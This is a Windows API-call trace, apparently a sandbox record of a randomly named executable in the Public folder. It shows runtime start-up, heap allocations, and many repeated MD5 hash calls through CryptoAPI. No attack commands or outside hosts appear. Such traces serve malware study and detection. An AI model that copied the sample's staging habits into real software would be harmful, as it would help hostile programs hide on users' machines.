	[0115.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef80, cbMultiByte=256, lpWideCharStr=0x18ecb0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ#") returned 256
	[0115.376] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȰ#", cchSrc=256, lpCharType=0x18f280 | out: lpCharType=0x18f280) returned 1
	[0115.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef80, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0115.376] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef80, cbMultiByte=256, lpWideCharStr=0x18ec50, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0115.376] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0
	[0115.377] GetLastError () returned 0x57
	[0115.377] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x0) returned 0x0
	[0115.378] GetProcAddress (hModule=0x76f20000, lpProcName="LCMapStringEx") returned 0x76f6b710
	[0115.378] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0115.379] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x18ea40, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256
	[0115.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x18f080, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08", lpUsedDefaultChar=0x0) returned 256
	[0115.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef80, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0115.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18ef80, cbMultiByte=256, lpWideCharStr=0x18ec50, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256
	[0115.380] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0115.380] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x18ea40, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256
	[0115.380] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x18f180, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256
	[0115.380] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x100) returned 0x249c30
	[0115.380] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x13fb1e670, nSize=0x104 | out: lpFilename="C:\\users\\Public\\fMRKmiSrvlan.exe" (normalized: "c:\\users\\public\\fmrkmisrvlan.exe")) returned 0x20
	[0115.380] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6e) returned 0x247270
	[0115.380] RtlInitializeSListHead (in: ListHead=0x13fb1e490 | out: ListHead=0x13fb1e490) 
	[0115.380] GetLastError () returned 0x0
	[0115.381] SetLastError (dwErrCode=0x0) 
	[0115.381] GetEnvironmentStringsW () returned 0x249d40*
	[0115.381] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xa7c) returned 0x24a7d0
	[0115.382] FreeEnvironmentStringsW (penv=0x249d40) returned 1
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x128) returned 0x249d40
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3e) returned 0x2472f0
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x6c) returned 0x249e70
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x62) returned 0x249ef0
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x78) returned 0x249f60
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x62) returned 0x249fe0
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x2492e0
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x48) returned 0x24a050
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x28) returned 0x243f60
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1a) returned 0x243f90
	[0115.382] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x4a) returned 0x24a0a0
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x72) returned 0x24a100
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x249320
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x249360
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1c) returned 0x243fc0
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0xd2) returned 0x24a180
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x7c) returned 0x24a260
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3a) returned 0x24a2f0
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x90) returned 0x24a340
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x243ff0
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x2493a0
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x36) returned 0x2493e0
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x24a3e0
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x24a430
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x24a490
	[0115.383] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x82) returned 0x24a4e0
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2e) returned 0x249420
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1e) returned 0x244020
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2c) returned 0x249460
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x24a570
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x52) returned 0x24a5d0
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x2a) returned 0x2494a0
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x3c) returned 0x24a630
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x54) returned 0x24a680
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x24) returned 0x244050
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x30) returned 0x2494e0
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x8c) returned 0x24a6e0
	[0115.384] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24a7d0 | out: hHeap=0x230000) returned 1
	[0115.384] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x8, Size=0x1000) returned 0x24a780
	[0115.385] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x13f9c8104) returned 0x0
	[0115.386] GetStartupInfoW (in: lpStartupInfo=0x18f780 | out: lpStartupInfo=0x18f780*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\users\\Public\\fMRKmiSrvlan.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0115.448] LoadLibraryA (lpLibFileName="Advapi32.dll") returned 0x7fefddc0000
	[0115.492] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptAcquireContextA") returned 0x7fefddc8180
	[0115.493] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptCreateHash") returned 0x7fefddcdad4
	[0115.493] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptHashData") returned 0x7fefddcdac0
	[0115.493] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptGetHashParam") returned 0x7fefddcdb20
	[0115.493] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptDestroyHash") returned 0x7fefddcdb00
	[0115.493] GetProcAddress (hModule=0x7fefddc0000, lpProcName="CryptReleaseContext") returned 0x7fefddcdd10
	[0115.493] CryptAcquireContextA (in: phProv=0xd3a48, szContainer=0x0, szProvider="Microsoft Base Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0xd3a48*=0x24d2f0) returned 1
	[0115.590] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.590] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.590] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.590] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.591] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.591] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.591] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.591] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.591] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.591] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.591] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.591] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.591] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.591] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.591] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.591] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.591] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.591] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.592] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.592] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.592] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.592] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.592] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.592] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.592] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.592] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.592] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.592] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.592] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.592] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.592] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.592] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.593] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.593] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.593] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.593] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.593] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.593] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.593] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.593] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.593] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.593] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.593] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.593] CryptDestroyHash (hHash=0x24d790) returned 1
	[0115.593] CryptCreateHash (in: hProv=0x24d2f0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xd3a30 | out: phHash=0xd3a30) returned 1
	[0115.593] CryptHashData (hHash=0x24d790, pbData=0xd3a38, dwDataLen=0x1, dwFlags=0x0) returned 1
	[0115.594] CryptGetHashParam (in: hHash=0x24d790, dwParam=0x2, pbData=0xd3a68, pdwDataLen=0xd3b08, dwFlags=0x0 | out: pbData=0xd3a68, pdwDataLen=0xd3b08) returned 1
	[0115.594] CryptDestroyHash (hHash=0x24d790) returned 1
